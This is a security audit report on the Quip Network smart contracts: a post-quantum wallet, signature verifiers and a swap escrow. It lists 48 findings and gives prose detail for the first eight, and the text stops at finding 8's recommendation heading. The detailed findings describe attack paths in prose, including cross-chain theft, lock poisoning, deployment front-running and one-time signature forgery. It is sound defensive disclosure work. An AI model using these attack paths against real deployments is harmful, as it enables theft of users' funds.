



Security Audit Report

Quip

v1.0

September 24, 2026

Table of Contents

[Table of Contents](#)

[License](#)

[Disclaimer](#)

[Executive Summary](#)

[Introduction](#)

[Purpose of This Report](#)

[Codebase Submitted for the Audit](#)

[Methodology](#)

[Functionality Overview](#)

[How to Read This Report](#)

[Code Quality Criteria](#)

[Summary of Findings](#)

[Detailed Findings](#)

- [1. An ERC721 declared as ERC20 passes commit via selector collision and can never be paid out, enabling cross-chain theft](#)
- [2. Cross-chain lock poisoning freezes an already-escrowed leg for the full reclaim schedule](#)
- [3. The secret holder can extend their own settlement window on a same-chain swap by reversing the two terms arguments to claim](#)
- [4. Same-chain claim and reclaim bundle both legs in one call, so a reverting recipient or a blocked token freezes both parties' funds](#)
- [5. A negative token rebase locks escrowed funds permanently](#)
- [6. An oversized leg commits within the block gas limit but can never be paid out, freezing same-chain swaps and enabling cross-chain theft](#)
- [7. ETH sent to a predicted wallet address before deployment can be stolen by whoever deploys the vaultId first](#)
- [8. One operator key is installed on every chain, so each deployment signs the same one-time leaf](#)
- [9. Rotating to an already-installed key resurrects every previously consumed one-time leaf](#)
- [10. WOTS-C and FORS-C public-key compression omit the ADRS tweak mandated by FIPS 205, leaving the SM-TCR security reduction uninstantiable](#)
- [11. Signatures verify under public keys that never signed them](#)
- [12. Unchecked pointer subtraction burns all gas forwarded to `verifyStateless`](#)
- [13. `withdrawFees` does not reject the zero address as a destination](#)
- [14. An unbounded `reclaimRelease` can brick a leg's refund forever, and `type\(uint256\).max` always does](#)
- [15. Cross-chain clock skew defeats the taker fairness buffer and lets the proposer take both legs](#)
- [16. The owner can change the commitment fee between a same-chain swap's two commits and stall the second one](#)

- [17. The Claim event's recipient field actually records the caller, not the asset recipient](#)
- [18. Non-compliant ERC721 assets can be marked posted without Omnibus ever taking custody](#)
- [19. Malicious ERC20 or ERC1155 assets can under-deliver on payout while claims and reclaims still succeed](#)
- [20. The 8-slot upgrade guard does not cover the used-leaf bitmap, letting a vetted-but-flawed upgrade target silently un-burn one-time signatures](#)
- [21. ShrincsWallet's single-step ownership transfer offers no protection against a mistyped destination address](#)
- [22. WalletFactory.vetImplementation's codehash check does not reject externally owned accounts, allowing deposited funds to be silently stranded](#)
- [23. SDK clients allocate one-time leaves from the on-chain bitmap, which records landing, not signing](#)
- [24. ShrincsWallet and ShrincsPaymaster accept an operator-declared signature budget with no upper bound, letting the underlying unbalanced authentication path grow into an un-includable leaf range](#)
- [25. The dedicated ERC-1271 key can be installed identical to the main recovery key at every install site](#)
- [26. ShrincsPaymaster does not override renounceOwnership, allowing the owner to permanently lock stake, deposit, and all administrative control](#)
- [27. One signature verifies at both 128-bit deployments](#)
- [28. The raw ERC-7913 verify and verifyStateless entrypoints accept a signature under any commitment sharing the half of the bundle that path verifies](#)
- [29. Three failure flags are hardcoded to success, so the branches that check them can never run](#)
- [30. The SHRINCS and SPHINCSPlusC libraries are documented as pure but are declared view, because the shared source also compiles under the SHA-256 suite](#)
- [31. The FORS-C verification routine documents a signature-shape and randomizer-length check that does not exist in its body](#)
- [32. A 128s key bundle with a dirty stateful root installs but can never verify](#)
- [33. sliceStatelessSignatureEnvelope leaves the free-memory pointer non-word-aligned for accepted non-canonical calldata framings, violating its memory-safe annotation](#)
- [34. The 128s-q18/128s-q20 stateless signature budgets oversubscribe the hypertree one-time-key coordinate space](#)
- [35. Legacy WOTSPPlus on-chain sign and generateKeyPair helpers are still deployed by script](#)
- [36. The guard applicability review records two contradictory verdicts for the leaf-zero guard, and a ground leaf-zero envelope panics through the public verify entrypoint instead of returning the failure value](#)
- [37. Unused functions and an unread constant](#)
- [38. Incorrect documentation in the claim interface](#)
- [39. renounceOwnership is enabled on Omnibus and strands accrued fees if called](#)
- [40. Deactivating a verifier mid-swap blocks the pending leg until its own reclaimRelease](#)
- [41. ARCHITECTURE.md and QUIP_LIFECYCLE.md describe a previous design](#)
- [42. Native currency sent directly to Omnibus outside commit has no accounting or recovery path](#)
- [43. Undeprecate re-bind path is unreachable](#)

44. One ABI level below the now-bounds-checked codec decoders, a malformed nested signature offset still reverts paymaster validation instead of returning the documented soft-fail value

45. Storage layout fixture cited in ShrincsWalletStorage does not exist

46. ShrincsPaymaster's constructor does not check that the pinned signature verifier address has deployed code

47. Documentation does not match the implementation

48. The paymaster sponsorship builder defaults `validUntil` to zero, which the `EntryPoint` and `ShrincsPaymaster` both treat as an unbounded approval window

Conclusion

Proof of Concept

License



THIS WORK IS LICENSED UNDER A [CREATIVE COMMONS ATTRIBUTION-NODERIVATIVES 4.0 INTERNATIONAL LICENSE](https://creativecommons.org/licenses/by-nc/4.0/).

Disclaimer

THE CONTENT OF THIS AUDIT REPORT IS PROVIDED "AS IS", WITHOUT REPRESENTATIONS AND WARRANTIES OF ANY KIND.

THE AUTHOR AND HIS EMPLOYER DISCLAIM ANY LIABILITY FOR DAMAGE ARISING OUT OF, OR IN CONNECTION WITH, THIS AUDIT REPORT.

THIS AUDIT REPORT WAS PREPARED EXCLUSIVELY FOR AND IN THE INTEREST OF THE CLIENT AND SHALL NOT CONSTRUCT ANY LEGAL RELATIONSHIP TOWARDS THIRD PARTIES. IN PARTICULAR, THE AUTHOR AND HIS EMPLOYER UNDERTAKE NO LIABILITY OR RESPONSIBILITY TOWARDS THIRD PARTIES AND PROVIDE NO WARRANTIES REGARDING THE FACTUAL ACCURACY OR COMPLETENESS OF THE AUDIT REPORT.

FOR THE AVOIDANCE OF DOUBT, NOTHING CONTAINED IN THIS AUDIT REPORT SHALL BE CONSTRUED TO IMPOSE ADDITIONAL OBLIGATIONS ON COMPANY, INCLUDING WITHOUT LIMITATION WARRANTIES OR LIABILITIES.

COPYRIGHT OF THIS REPORT REMAINS WITH THE AUTHOR.

This audit has been performed by

Oak Security GmbH

<https://oaksecurity.io>

info@oaksecurity.io

Executive Summary

The audit identified the following findings, by severity:

Severity	Findings
Critical	0
Major	9
Minor	17
Informational	22
Total	48

This audit covered three repositories that together constitute the Quip Network protocol: ethereum-sdk, quip-swap-solidity, and hashsigns-solidity, reviewed at commits 800fa8d8d1, b6af8ff2cb, and 90df8e9ba7 respectively. The system combines a UUPS-upgradeable smart contract wallet authenticated by post-quantum SHRINCS signatures, a library of hash-based signature verifiers implementing WOTS+, SHRINCS, and SPHINCS+C, and a singleton escrow contract for hashlocked same-chain and cross-chain swaps.

No Critical findings were identified and the remediation rate is strong.

The major and minor findings concentrated in several areas. In the wallet and signature system, the most consequential weaknesses involved one-time leaf management: epoch counter resets could resurrect previously consumed signing leaves, the upgrade guard did not cover the full storage surface that a delegated call could modify, and key binding was incomplete across both stateful and stateless verification paths, meaning signatures could verify under keys that did not produce them.

In the swap contract, the main concerns were around escrow atomicity and swap fairness: same-chain settlement bundled both legs in a single call, making either party's payout hostage to the other's transfer succeeding, and several issues allowed a participant to manipulate settlement windows, poison cross-chain locks, or commit assets that could never be paid out.

Across both systems, several issues arose from insufficient input validation, documentation diverging from implementation, and SDK-level assumptions about on-chain state that could lead to leaf reuse under adverse conditions.

Introduction

Purpose of This Report

Oak Security GmbH has been engaged by Hadamard Gate Inc dba Postquant Labs to perform a security audit of the Quip smart contracts.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following targets:

Repository	URL	Type	Commit
hashsigns-solidity	https://gitlab.com/quip.network/hashsigns-solidity	Full	hashsigns-solidity@90df8e9ba7
quip-swap-solidity	https://gitlab.com/quip.network/quip-swap-solidity	Full	quip-swap-solidity@b6af8ff2cb
ethereum-sdk	https://gitlab.com/quip.network/ethereum-sdk	Full	ethereum-sdk@800fa8d8d1

Scope	hashsigns-solidity contracts/ hash/ keccak/ HashSuite.sol sha2/ HashSuite.sol interfaces/ IERC7913SignatureVerifier.sol IERC7913TransientAttestation.sol profiles/ 128s-q18/ SHRINCSParams.sol 128s-q20/ SHRINCSParams.sol 256s/ SHRINCSParams.sol 256s-sha2/ SHRINCSParams.sol FORSMinusC.sol Hash.sol Hypertree.sol SHRINCS.sol SHRINCS128sQ18Keccak.sol SHRINCS128sQ20Keccak.sol SHRINCS256sKeccak.sol SHRINCS256sSha2.sol SHRINCSVerifier.sol SPHINCSPlusC.sol SPHINCSPlusC128sQ18Keccak.sol SPHINCSPlusC128sQ20Keccak.sol SPHINCSPlusC256sKeccak.sol
-------	---

```
SPHINCSPPlusC256sSha2.sol
SPHINCSPPlusCVerifier.sol
UXMSS.sol
WOTSPPlus.sol
WOTSPPlusC.sol
```

quip-swap-solidity

```
src/
  interfaces/
    IOmnibus.sol
    IWalletFactory.sol
  Omnibus.sol
  TermsLib.sol
```

ethereum-sdk

```
contracts/
  interfaces/
    IShrincsPaymaster.sol
    IWallet.sol
    IWalletFactory.sol
  shrincs/
    interfaces/
      IShrincsWallet.sol
      ShrinCsWallet.sol
      ShrinCsWalletCodec.sol
      ShrinCsWalletStorage.sol
  storage/
    ShrinCsPaymasterStorage.sol
    WalletFactoryStorage.sol
  ShrinCsPaymaster.sol
  WalletFactory.sol
```

Fixes Verified at Commit

These are the commits at which the client's fixes were reviewed. The status of each finding in this report (Resolved, Partially Resolved or Acknowledged) reflects the code at these commits.

hashsigs-solidity

fixes-review: [hashsigs-solidity@0e89278f57](#)

quip-swap-solidity

fixes-review-info: [quip-swap-solidity@3f265baf98](#)

fixes-review-major: [quip-swap-solidity@bb38f2a60b](#)

fixes-review-minor: [quip-swap-solidity@e8cf43cd2d](#)

ethereum-sdk

fixes-review-minor: [ethereum-sdk@39bc24d3a1](#)

fixes-review-info: [ethereum-sdk@0f8859290a](#)

fixes-review-major: [ethereum-sdk@30a5e63c67](#)

Note that only fixes to the issues described in this report have been reviewed at this commit. Any further changes such as additional features have not been reviewed.

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line-by-line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
 - a. Race condition analysis
 - b. Under-/overflow issues
 - c. Key management vulnerabilities
4. Report preparation.

Functionality Overview

The audit covers three repositories that together form the Quip Network protocol: a smart contract wallet system with post-quantum authentication, a suite of hash-based signature verifiers, and a singleton swap contract. The wallet system consists of a UUPS-upgradeable `WalletFactory` and `ShrincsWallet` contracts, where wallets execute transactions authenticated by SHRINCS post-quantum signatures. The hash-based verifier library implements WOTS+, SHRINCS, and SPHINCS+C signature schemes across multiple parameter profiles, exposing ERC-7913 compliant verifiers with both stateful and stateless verification paths, and optionally recording successful verifications in EIP-1153 transient storage for intra-transaction reuse.

The swap system is built around `Omnibus`, a singleton escrow contract that facilitates hashlocked same-chain and cross-chain swaps. Each swap comprises two `Terms` structs with interleaved lifecycle timestamps. The `commit` entry point authenticates payloads via ERC-7913 keyed identities using either a verified signature against an owner-managed verifier allowlist, or factory-membership of a Quip wallet as an implicit authorization. Settlement and reclaim operations are identity-free, gated by secret revelation and deadline conditions respectively.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or losses, with medium to high probability.
Minor	A violation of best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects such as user experience or readability. This category may also include opinionated recommendations that the project team might not agree with.

The **status** of an issue can be one of the following: **Resolved**, **Acknowledged**, or **Partially Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium-High	The codebase implements post quantum cryptography and leverages this in smart contracts.
Code readability and clarity	Medium	Function and variable naming is clear and NatSpec coverage is thorough.
Level of documentation	Medium-High	The provided documentation is extensive and explain architectural decisions.
Test coverage	Medium-High	Test coverage is 74.53% for hashsign-solidity, 87.70% for ethereum-sdk and 97.50% for quip-swap-solidity.

Summary of Findings

No	Description	Severity	Status
1	An ERC721 declared as ERC20 passes commit via selector collision and can never be paid out, enabling cross-chain theft	Major	Resolved
2	Cross-chain lock poisoning freezes an already-escrowed leg for the full reclaim schedule	Major	Resolved
3	The secret holder can extend their own settlement window on a same-chain swap by reversing the two terms arguments to claim	Major	Resolved
4	Same-chain claim and reclaim bundle both legs in one call, so a reverting recipient or a blocked token freezes both parties' funds	Major	Partially Resolved
5	A negative token rebase locks escrowed funds permanently	Major	Resolved
6	An oversized leg commits within the block gas limit but can never be paid out, freezing same-chain swaps and enabling cross-chain theft	Major	Resolved
7	ETH sent to a predicted wallet address before deployment can be stolen by whoever deploys the vaultId first	Major	Resolved
8	One operator key is installed on every chain, so each deployment signs the same one-time leaf	Major	Resolved
9	Rotating to an already-installed key resurrects every previously consumed one-time leaf	Major	Resolved
10	WOTS-C and FORS-C public-key compression omit the ADRS tweak mandated by FIPS 205, leaving the SM-TCR security reduction uninstantiable	Minor	Resolved

No	Description	Severity	Status
11	Signatures verify under public keys that never signed them	Minor	Resolved
12	Unchecked pointer subtraction burns all gas forwarded to <code>verifyStateless</code>	Minor	Resolved
13	<code>withdrawFees</code> does not reject the zero address as a destination	Minor	Resolved
14	An unbounded <code>reclaimRelease</code> can brick a leg's refund forever, and <code>type(uint256).max</code> always does	Minor	Partially Resolved
15	Cross-chain clock skew defeats the taker fairness buffer and lets the proposer take both legs	Minor	Resolved
16	The owner can change the commitment fee between a same-chain swap's two commits and stall the second one	Minor	Acknowledged
17	The Claim event's recipient field actually records the caller, not the asset recipient	Minor	Resolved
18	Non-compliant ERC721 assets can be marked posted without Omnibus ever taking custody	Minor	Acknowledged
19	Malicious ERC20 or ERC1155 assets can under-deliver on payout while claims and reclaims still succeed	Minor	Acknowledged
20	The 8-slot upgrade guard does not cover the used-leaf bitmap, letting a vetted-but-flawed upgrade target silently un-burn one-time signatures	Minor	Resolved
21	ShrincsWallet's single-step ownership transfer offers no protection against a mistyped destination address	Minor	Resolved

No	Description	Severity	Status
22	WalletFactory.vetImplementation's codehash check does not reject externally owned accounts, allowing deposited funds to be silently stranded	Minor	Resolved
23	SDK clients allocate one-time leaves from the on-chain bitmap, which records landing, not signing	Minor	Acknowledged
24	ShrincsWallet and ShrincsPaymaster accept an operator-declared signature budget with no upper bound, letting the underlying unbalanced authentication path grow into an un-includable leaf range	Minor	Acknowledged
25	The dedicated ERC-1271 key can be installed identical to the main recovery key at every install site	Minor	Resolved
26	ShrincsPaymaster does not override renounceOwnership, allowing the owner to permanently lock stake, deposit, and all administrative control	Minor	Resolved
27	One signature verifies at both 128-bit deployments	Informational	Resolved
28	The raw ERC-7913 verify and verifyStateless entypoints accept a signature under any commitment sharing the half of the bundle that path verifies	Informational	Resolved
29	Three failure flags are hardcoded to success, so the branches that check them can never run	Informational	Resolved
30	The SHRINCS and SPHINCSPlusC libraries are documented as pure but are declared view, because the shared source also compiles under the SHA-256 suite	Informational	Resolved
31	The FORS-C verification routine documents a signature-shape and randomizer-length check	Informational	Resolved

No	Description	Severity	Status
	that does not exist in its body		
32	A 128s key bundle with a dirty stateful root installs but can never verify	Informational	Resolved
33	<code>sliceStatelessSignatureEnvelope</code> leaves the free-memory pointer non-word-aligned for accepted non-canonical calldata framings, violating its <code>memory-safe</code> annotation	Informational	Resolved
34	The 128s-q18/128s-q20 stateless signature budgets oversubscribe the hypertree one-time-key coordinate space	Informational	Resolved
35	Legacy WOTSPPlus on-chain sign and <code>generateKeyPair</code> helpers are still deployed by script	Informational	Resolved
36	The guard applicability review records two contradictory verdicts for the leaf-zero guard, and a ground leaf-zero envelope panics through the public <code>verify</code> entrypoint instead of returning the failure value	Informational	Resolved
37	Unused functions and an unread constant	Informational	Resolved
38	Incorrect documentation in the <code>claim</code> interface	Informational	Resolved
39	<code>renounceOwnership</code> is enabled on Omnibus and strands accrued fees if called	Informational	Resolved
40	Deactivating a verifier mid-swap blocks the pending leg until its own <code>reclaimRelease</code>	Informational	Resolved
41	<code>ARCHITECTURE.md</code> and <code>QUIP_LIFECYCLE.md</code> describe a previous design	Informational	Resolved
42	Native currency sent directly to Omnibus outside commit has no accounting or recovery path	Informational	Resolved

No	Description	Severity	Status
43	Undeprecate re-bind path is unreachable	Informational	Resolved
44	One ABI level below the now-bounds-checked codec decoders, a malformed nested signature offset still reverts paymaster validation instead of returning the documented soft-fail value	Informational	Resolved
45	Storage layout fixture cited in ShrincsWalletStorage does not exist	Informational	Resolved
46	ShrincsPaymaster's constructor does not check that the pinned signature verifier address has deployed code	Informational	Resolved
47	Documentation does not match the implementation	Informational	Resolved
48	The paymaster sponsorship builder defaults validUntil to zero, which the EntryPoint and ShrincsPaymaster both treat as an unbounded approval window	Informational	Resolved

Detailed Findings

1. An ERC721 declared as ERC20 passes commit via selector collision and can never be paid out, enabling cross-chain theft

Severity: Major

- [quip-swap-solidity:src/TermsLib.sol:135-163](#)
- [quip-swap-solidity:src/TermsLib.sol:224-240](#)
- [quip-swap-solidity:src/TermsLib.sol:261-278](#)
- [quip-swap-solidity:src/TermsLib.sol:296-300](#)
- [quip-swap-solidity:src/Omnibus.sol:191-204](#)
- [quip-swap-solidity:src/Omnibus.sol:239-255](#)

`validateAsset` accepts an `AssetType.ERC20` entry whenever `target` is non-zero and `id` is zero, without probing whether the target actually implements ERC20. ERC20's `transferFrom/balanceOf` share selectors with ERC721's, so a standard, unmodified ERC721 satisfies both calls. `TermsLib.transferAssetsNoNative` makes at deposit: `safeTransferFrom` moves the token `id` when `asset.amount` is declared as 1, and the before/after `heldBalance` delta reads as an increase of exactly 1, indistinguishable from a genuine one-unit ERC20 deposit.

Every payout then fails: `claim` and `reclaim` settle through `transferAssets`, whose ERC20 branch calls `transfer(address,uint256)`, a function no compliant ERC721 implements, so the call reverts unconditionally, forever. Same-chain settlement bundles both legs into one call, so a healthy counterparty leg such as native currency freezes alongside the mistyped one.

Cross-chain this is direct theft, requiring only an ordinary ERC721, no custom contract. An attacker posts their own leg declared as ERC20 but pointing at an ERC721 they own; the victim, seeing a normal ERC20 leg, commits real assets on the healthy chain. The attacker reveals the secret there and claims the victim's assets. On the mistyped-leg chain, both `claim` and every `reclaim` revert permanently, so the victim's real assets are gone and the mistyped token is stuck in the contract forever, unreachable by any function.

Recommendation

We recommend probing the target contract's interface at commit time, for example checking ERC165 support for the ERC721 interface, or otherwise confirming a declared ERC20 target does not also answer as an ERC721, and rejecting the commit if the declared asset type does not match what the target contract actually implements.

Status: Resolved

2. Cross-chain lock poisoning freezes an already-escrowed leg for the full reclaim schedule

Severity: Major

- [quip-swap-solidity:src/Omnibus.sol:82-149](#)
- [quip-swap-solidity:src/Omnibus.sol:119-137](#)
- [quip-swap-solidity:src/Omnibus.sol:375-383](#)

The first `commit` against an unused lock fixes its `termsHash` and, for a cross-chain pairing, advances `lockState` directly to `Committed`. The lock is just the hash of an off-chain secret with no binding to the negotiated swap beyond the terms hash the first `commit` writes, and it becomes public the moment the proposer's `commit` is mined, since `Omnibus` emits it as an indexed `Commitment` event topic.

The proposer necessarily commits her real leg on the origin chain first, then the taker commits on the destination chain. Once the proposer's leg is escrowed and the event exposes the `lock`, an attacker can poison that same lock on the destination chain with dust terms of its own, since each `Omnibus` deployment tracks lock state locally. The taker's subsequent `commit` there then always reverts, `TermsMismatch` or `InvalidLockAdvancement`, and a written `termsHash` can never be cleared or reused.

The proposer cannot simply retry with a fresh secret: her assets are already locked under the poisoned lock on the origin chain, already advanced to `Committed`. The only way back is her own `reclaim`, gated on her own `reclaimRelease`, typically a meaningful fraction of the intended swap duration. The attacker recovers its dust on its own short schedule, and can repeat the same poisoning against every observed cross-chain commitment for only the dust asset, the `commitmentFee`, and gas.

Recommendation

We recommend binding lock reservation to the negotiated swap rather than to the bare `lock` value, for example by deriving the storage key from a hash that includes an authorized committer identity or a swap-specific nonce agreed by both sides, so an unrelated address cannot write a `termsHash` for a lock it was never negotiated into.

Status: Resolved

3. The secret holder can extend their own settlement window on a same-chain swap by reversing the two terms arguments to claim

Severity: Major

- [quip-swap-solidity:src/Omnibus.sol:152-207](#)
- [quip-swap-solidity:src/TermsLib.sol:338-343](#)
- [quip-swap-solidity:src/TermsLib.sol:117-129](#)

`claim` proves the pairing is genuine via `TermsLib.digestTermsCanonically`, which produces the same canonical digest regardless of which struct is passed as `party` versus `counterparty`. It then separately selects the settlement window via `TermsLib.proposedByParty`, which compares `party.commitmentDeadline` against `counterparty.commitmentDeadline`. Unlike the digest check, this comparison is order-dependent: it depends entirely on which struct the caller places in which slot.

On a same-chain swap both sides share the same `chainId`, so `counterparty.enforceChainId` passes regardless of argument order. Submitting terms in the conventional order (`proposer` as `party`) selects the window `[counterparty.commitmentDeadline, party.claimDeadline)`, the intended settlement opportunity. Submitting the same terms with roles swapped flips `proposedByParty` and selects `[counterparty.claimDeadline, counterparty.reclaimRelease)` instead. Asset transfers in `claim` are symmetric regardless of labeling, so payouts land correctly either way, only the enforced window changes.

The two windows share the proposer's `claimDeadline` as a boundary, so a secret holder willing to submit either order effectively has access to their union, from `counterparty.commitmentDeadline` through the proposer's own `reclaimRelease`, with no gap. The `claimDeadline` meant to force a timely decision becomes unenforceable: the holder can wait and observe the trade before claiming, or fall back to a same-chain mutual `reclaim` once `reclaimRelease` passes, since that branch also returns both legs. This converts the `counterparty`'s principal into a free option for whoever holds the secret.

Cross-chain swaps are unaffected, because `counterparty.enforceChainId` there forces a specific side into a specific slot.

Recommendation

We recommend deriving which window applies from data that cannot be flipped by argument order, for example by reading the proposer and taker roles from state recorded at `commit` time rather than recomputing them from whichever terms the `claim` caller happens to submit as party versus counterparty.

Status: Resolved

4. Same-chain claim and reclaim bundle both legs in one call, so a reverting recipient or a blocked token freezes both parties' funds

Severity: Major

- [quip-swap-solidity:src/Omnibus.sol:191-204](#)
- [quip-swap-solidity:src/Omnibus.sol:227-255](#)
- [quip-swap-solidity:src/TermsLib.sol:167-185](#)
- [quip-swap-solidity:src/TermsLib.sol:224-240](#)

For a same-chain swap, both settlement paths move both sides' assets inside a single call: `claim` pays the counterparty's assets to `party.recipient` and, once `Committed`, the party's assets to `counterparty.recipient`; `reclaim`'s committed-lock branch likewise pays both sides, in the same call. Every transfer is a push payment invoked directly against the recipient or the asset's own contract. `TermsLib.validateTerms` only rejects a zero address for `recipient/reclaimRecipient`, placing no other restriction on them, and neither `claim` nor `reclaim` isolates one leg's failure from the other; there is no `try/catch` anywhere in the settlement path.

This bundling makes both paths fail together whenever either leg's transfer reverts, from two independent causes. First, either participant fully controls their own `recipient/reclaimRecipient` and can deliberately choose a contract that rejects the asset type they are posting, since these are fixed at `commit` time and cannot change afterward; this lets one party veto every `claim`, or hold the counterparty's assets hostage by vetoing every `reclaim` too, and a codeless address at review time is indistinguishable from an ordinary externally-owned recipient. Second, an ERC20 or ERC1155 asset in the terms may itself carry admin-controlled transfer restrictions, such as a blocklist or pause switch; a token administrator restricting transfers involving `Omnibus` after escrow makes every subsequent `claim/reclaim` revert on that leg, freezing an otherwise healthy counterparty leg alongside it. The token-restriction case resolves once the restriction lifts; the recipient-choice case is indefinite for as long as the hostile recipient stays armed, since no entry point can settle one side independently of the other.

Recommendation

We recommend converting same-chain settlement to a pull-payment model: mark each side's entitlement as claimable or reclaimable in storage without moving assets in the same call, and let each recipient withdraw their own entitlement in a separate transaction, so a failure on one side cannot block the other. Where that is too large a change, we recommend at minimum making the two sides' payouts independently executable rather than bundled into a single atomic call in both `claim` and `reclaim`, and wrapping the counterparty leg's transfer in `try/catch` so a stuck or hostile counterparty leg cannot prevent the caller's own, otherwise-healthy leg from settling.

Status: Partially Resolved

The client partially resolved the issue stating that they have decoupled the reclaim flow so that each party can independently reclaim their own funds without being blocked by the counterparty's transfer conditions. The fix is implemented in merge request 20 at commit 7543a925, which separates the two settlement legs in the reclaim path. The client has addressed the liveness concern by ensuring neither party's withdrawal depends on the success of the other's transfer.

5. A negative token rebase locks escrowed funds permanently

Severity: Major

- [quip-swap-solidity:src/TermsLib.sol:224-240](#)
- [quip-swap-solidity:src/TermsLib.sol:261-278](#)

`commit` reconciles the received amount against the declared amount, so fee-on-transfer tokens are rejected at escrow time. The check runs once. If a rebasing or elastic-supply token later reduces the Omnibus balance below the declared amount, both `claim` and `reclaim` revert on the underfunded transfer. One wei of shortfall is enough.

There is no escape hatch, or other recovery mechanism, so every leg of the swap, including unrelated healthy assets, stays locked forever.

The failure is worse with more than one live lock in the same token. Escrow is pooled and the payout path trusts the declared amount. After a rebase, the first party to settle is paid in full from the shared pool, and the last party for that token can never be paid. The loss lands on whoever settles last, not on the lock that suffered it.

→ [Proof of Concept: P.1](#)

Recommendation

We recommend documenting explicitly that rebasing tokens must never be escrowed at minimum. A code-level fix is to track the actual received balance per lock and pay out the minimum of declared and available.

Status: Resolved

6. An oversized leg commits within the block gas limit but can never be paid out, freezing same-chain swaps and enabling cross-chain theft

Severity: Major

- [quip-swap-solidity:src/Omnibus.sol:191-204](#)
- [quip-swap-solidity:src/Omnibus.sol:227-255](#)
- [quip-swap-solidity:src/TermsLib.sol:246-251](#)
- [quip-swap-solidity:src/TermsLib.sol:167-185](#)

`commit` moves only one side's assets array per transaction, but `settlement` does not: `same-chain claim` transfers both parties' assets in one call, and `reclaim`'s committed-lock branch does the same. `TermsLib.transferAssets` loops over the full assets array with no length cap, and neither `validateTerms` nor `validateAsset` bounds how many assets a side's terms may contain.

An assets array can be sized to fit within one `commit`'s gas budget yet exceed the block limit once both sides are settled together, since `settlement`'s `transferAssets` is cheaper per asset than `commit`'s reconciling `transferAssetsNoNative`. No malicious asset contract is needed: a leg padded with roughly 3,250 one-wei native entries plus one ordinary token entry commits in about 26.1 million gas, well inside a 30 million gas block, while every later `claim` or `reclaim` on that lock runs out of gas at the block limit, in every argument order, permanently.

Same-chain, this freezes both parties permanently, since no function settles one side independently of the other once `Committed`. Cross-chain, it is direct theft: an attacker posts a padded leg that still commits, the victim commits real assets on the healthy chain, and the attacker reveals the secret there and claims them. On the padded-leg chain, the victim's `claim` and every `reclaim` attempt, including the attacker's own, run out of gas forever, so the victim's assets are gone and nothing is ever recoverable.

Recommendation

We recommend capping the number of assets permitted per side in `validateTerms`, chosen conservatively enough that the worst-case combined gas cost of settling both sides together, including token call overhead, comfortably fits within the block gas limit of every chain Omnibus is deployed to; a bound in the low tens of entries is more than sufficient for any realistic swap.

Status: Resolved

7. ETH sent to a predicted wallet address before deployment can be stolen by whoever deploys the vaultId first

Severity: Major

- [ethereum-sdk:contracts/WalletFactory.sol:336-384](#)
- [ethereum-sdk:contracts/interfaces/IWalletFactory.sol:304-309](#)

The deterministic deployment salt is the caller-supplied vault identifier alone, with no binding to the intended owner or to any payload content, so a wallet's address is a pure function of the factory's address and that identifier. Whoever deploys a given vault identifier first becomes its permanent owner, and because the address doesn't depend on chain id, one deployment claims the same address everywhere at once.

Ethereum accepts a plain ETH transfer to any address whether or not it's deployed yet. So if a third party pre-funds a wallet's predicted address expecting the intended owner to deploy and claim it, anyone who deploys that vault identifier first, with their own owner and key material, receives the wallet already holding that balance. Since the attacker controls both the owner slot and the entire key bundle for their own deployment, they face none of the hurdles that would normally block moving funds out of someone else's wallet, and withdraw it through an ordinary, fully authorized call.

→ [Proof of Concept: P.2](#)

Recommendation

We recommend binding the intended owner into the deployment salt, for example by deriving the actual `CREATE3` salt from a hash of the vault identifier together with the intended owner address, so that claiming a given predicted address requires already knowing and committing to the same owner the original predictor intended. We recommend, independent of any code

change, adding an explicit warning to the vault identifier documentation and to any integrator-facing guidance that a wallet's predicted address must never be funded before its deployment transaction has actually landed and been confirmed.

Status: Resolved

8. One operator key is installed on every chain, so each deployment signs the same one-time leaf

Severity: Major

- [ethereum-sdk:contracts/ShrincsPaymaster.sol:410-423](#)

The used-leaf bitmap (`ShrincsPaymaster.sol:410-423`) is stored per contract, but the key that signs against it is derived (`shrincsSigner.ts:269-275`) from `keccak256(keccak256(masterSecret) || vaultId)` with no chain in the seed. The deploy flow installs that one key everywhere: a single `SHRINCS_VERIFIER_PUBLIC_KEY` (`.env.example:73`, `DEPLOYMENTS.md:238`) feeds every `make deploy-shrincs-*` target, and `CreateXHelpers.sol:89` puts the proxy at one `CREATE3` address.

Each deployment tracks spent leaves separately, and `shrincsPaymasterClient.ts:151-165` signs the lowest leaf the chain reports unused. A leaf spent on one chain can still be free on another, and since `_domainSeparator` binds `block.chainid`, that second signature covers a different message, exposing another point on the leaf's 64 WOTS-C chains each time.

Three signatures at one leaf, all public in `calldata`, cut forgery cost from 2^{256} to between 2^{36} and 2^{57} hash operations. `validatePaymasterUserOp` verifies the sponsorship alone with no classical co-signature, so a forged leaf lets an attacker sponsor their own `userOp` off the paymaster's deposit, though the loss is capped there and reaches no user funds. Reaching it needs the same key signed on more than one chain before any leaf repeats, which the deploy flow produces by default, not through misconfiguration.

Recommendation

